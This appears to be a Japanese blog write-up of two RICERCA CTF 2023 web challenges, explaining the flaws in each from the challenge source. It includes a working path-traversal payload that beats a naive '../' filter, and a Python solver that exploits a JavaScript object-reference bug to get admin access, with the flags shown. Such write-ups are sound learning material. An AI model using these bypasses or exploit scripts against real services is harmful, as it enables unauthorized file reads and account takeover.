[RICERCA CTF 2023] My own writeup

Posted on Apr 24, 2023

RICERCA CTF 2023が2023/04/22 10:00 - 2023/04/22 22:00 (UTC+9)で開催されました。

[web] Cat Café

猫がかわいいですね。

neko

app.pyは以下です。

import flask
import os

app = flask.Flask(__name__)

@app.route('/')
def index():
    return flask.render_template('index.html')

@app.route('/img')
def serve_image():
    filename = flask.request.args.get("f", "").replace("../", "")
    path = f'images/{filename}'
    if not os.path.isfile(path):
        return flask.abort(404)
    return flask.send_file(path)

if __name__ == '__main__':
    app.run()

/imgに該当する部分をみると、[URL]/img?f=01.jpgのようにクエリパラメータを介してimagesディレクトリ内のファイルを取得できることがわかります。

@app.route('/img')
def serve_image():
    filename = flask.request.args.get("f", "").replace("../", "")
    path = f'images/{filename}'
    if not os.path.isfile(path):
        return flask.abort(404)
    return flask.send_file(path)

flagが書かれたflag.txtimagesディレクトリの一つ上の階層にあるため、[URL]/img?f=../flag.txtのようにしてflagが取得することを考えますが、以下の部分で../が空文字に置き換えられるため不可能です。

filename = flask.request.args.get("f", "").replace("../", "")

しかし、[URL]/img?f=..././flag.txtのようにすると..././../に置き換えられるため、flagを取得できます。

$ curl "http://cat-cafe.2023.ricercactf.com:8000/img?f=..././flag.txt"
RicSec{directory_traversal_is_one_of_the_most_common_vulnearbilities}

[web] tinyDB

自身の役職を確認する用のページとflagを取得する用のページがあります。

index.tsは以下です。

import fastify from "fastify";
import { fastifySession } from "@fastify/session";
import fastifyCookie from "@fastify/cookie";
import * as fs from "fs";
import { getUserDB, randStr, getAdminPW, updateAdminPW } from "./db";
import flag from "./flag";

const server = fastify();
server.register(fastifyCookie);
server.register(fastifySession, {
  secret: randStr(),
  cookie: { secure: false },
});

server.get("/", async (_, response) => {
  const html = await fs.promises.readFile("./src/index.html", "utf-8");
  response.type("text/html").send(html);
});

server.get("/admin", async (_, response) => {
  const html = await fs.promises.readFile("./src/admin.html", "utf-8");
  response.type("text/html").send(html);
});

type UserBodyT = Partial<AuthT>;
server.post<{ Body: UserBodyT }>("/set_user", async (request, response) => {
  const { username, password } = request.body;
  const session = request.session.sessionId;
  const userDB = getUserDB(session);

  let auth = {
    username: username ?? "admin",
    password: password ?? randStr(),
  };
  if (!userDB.has(auth)) {
    userDB.set(auth, "guest");
  }

  if (userDB.size > 10) {
    // Too many users, clear the database
    userDB.clear();
    auth.username = "admin";
    auth.password = getAdminPW();
    userDB.set(auth, "admin");
    auth.password = "*".repeat(auth.password.length);
  }

  const rollback = () => {
    const grade = userDB.get(auth);
    updateAdminPW();
    const newAdminAuth = {
      username: "admin",
      password: getAdminPW(),
    };
    userDB.delete(auth);
    userDB.set(newAdminAuth, grade ?? "guest");
  };
  setTimeout(() => {
    // Admin password will be changed due to hacking detected :(
    if (auth.username === "admin" && auth.password !== getAdminPW()) {
      rollback();
    }
  }, 2000 + 3000 * Math.random()); // no timing attack!

  const res = {
    authId: auth.username,
    authPW: auth.password,
    grade: userDB.get(auth),
  };

  response.type("application/json").send(res);
});

server.post<{ Body: AuthT }>("/get_flag", async (request, response) => {
  const { username, password } = request.body;
  const session = request.session.sessionId;
  const userDB = getUserDB(session);
  for (const [auth, grade] of userDB.entries()) {
    if (
      auth.username === username &&
      auth.password === password &&
      grade === "admin"
    ) {
      response
        .type("application/json")
        .send({ flag: `great! here is your flag: ${flag}` });
      return;
    }
  }
  response.type("application/json").send({ flag: "no flag for you :)" });
});

server.listen({ host: "0.0.0.0", port: 8888 }, (_, address) => {
  console.log(`Server listening at ${address}`);
});

/set_userで行われる処理は以下です。

  • usernamepasswordを受け取り、セッションごとにユーザー情報を保存する。
  • ユーザーの件数が10件を超えると、データベースをクリアし、adminのパスワードを更新する。
  • adminのパスワードが正しくない場合は2〜5秒後にrollback()が実行される。
  • rollback()では、adminのパスワードが更新される。

/get_flagで行われる処理は以下です。

  • セッションに紐づいて保存されているユーザー情報を全て取得。
  • 入力のusernamepasswordが合致し、gradeadminのものがあればflagが得られる。

ここで、/set_useradminのパスワードを更新する処理に脆弱性があります。

if (userDB.size > 10) {
    // Too many users, clear the database
    userDB.clear();
    auth.username = "admin";
    auth.password = getAdminPW();
    userDB.set(auth, "admin");
    auth.password = "*".repeat(auth.password.length);
}

ここでは、auth.passwordgetAdminPW()で取得したパスワードを代入し、mapであるuserDBにセットします。その後、パスワードの長さ分の*auth.passwordに代入する。しかし、javascriptの性質により、userDBにセットされたauthオブジェクトと、その後のauthオブジェクトは同じオブジェクトへの参照を保持します(参考)。

そのため、auth.password = "*".repeat(auth.password.length);とした時に、userDBに保存されているauthオブジェクトのauth.password"*".repeat(auth.password.length)に書き換えられます。

adminのパスワードが異なる場合に、パスワードを更新するrollback()は2~5秒後に実行されます。そのため、rollback()が実行されるまでにusernameadminpassword"*".repeat(auth.password.length)として/get_flagを叩くことでflagを取得することができます。

以下のスクリプトを実行することでflagが取得できます。

import requests

base_url = 'http://tinydb.2023.ricercactf.com:8888'

ses = requests.Session()

data = {
    "username": "hoge",
    "password": "huga"
}

for i in range(10):
    print("count:", i+1)
    response = ses.post(f'{base_url}/set_user', json=data)
    print("response text:", response.json())

data = {
    "username": "admin",
    "password": response.json()["authPW"] # ********************************
}
response = ses.post(f'{base_url}/get_flag', json=data)
print("/get_flag")
print("response text:", response.json())
$ python3 solver.py 
count: 1
response text: {'authId': 'hoge', 'authPW': 'huga', 'grade': 'guest'}
...
count: 9
response text: {'authId': 'hoge', 'authPW': 'huga', 'grade': 'guest'}
count: 10
response text: {'authId': 'admin', 'authPW': '********************************', 'grade': 'admin'}
/get_flag
response text: {'flag': 'great! here is your flag: RicSec{j4v45cr1p7_15_7000000000000_d1f1cul7}'}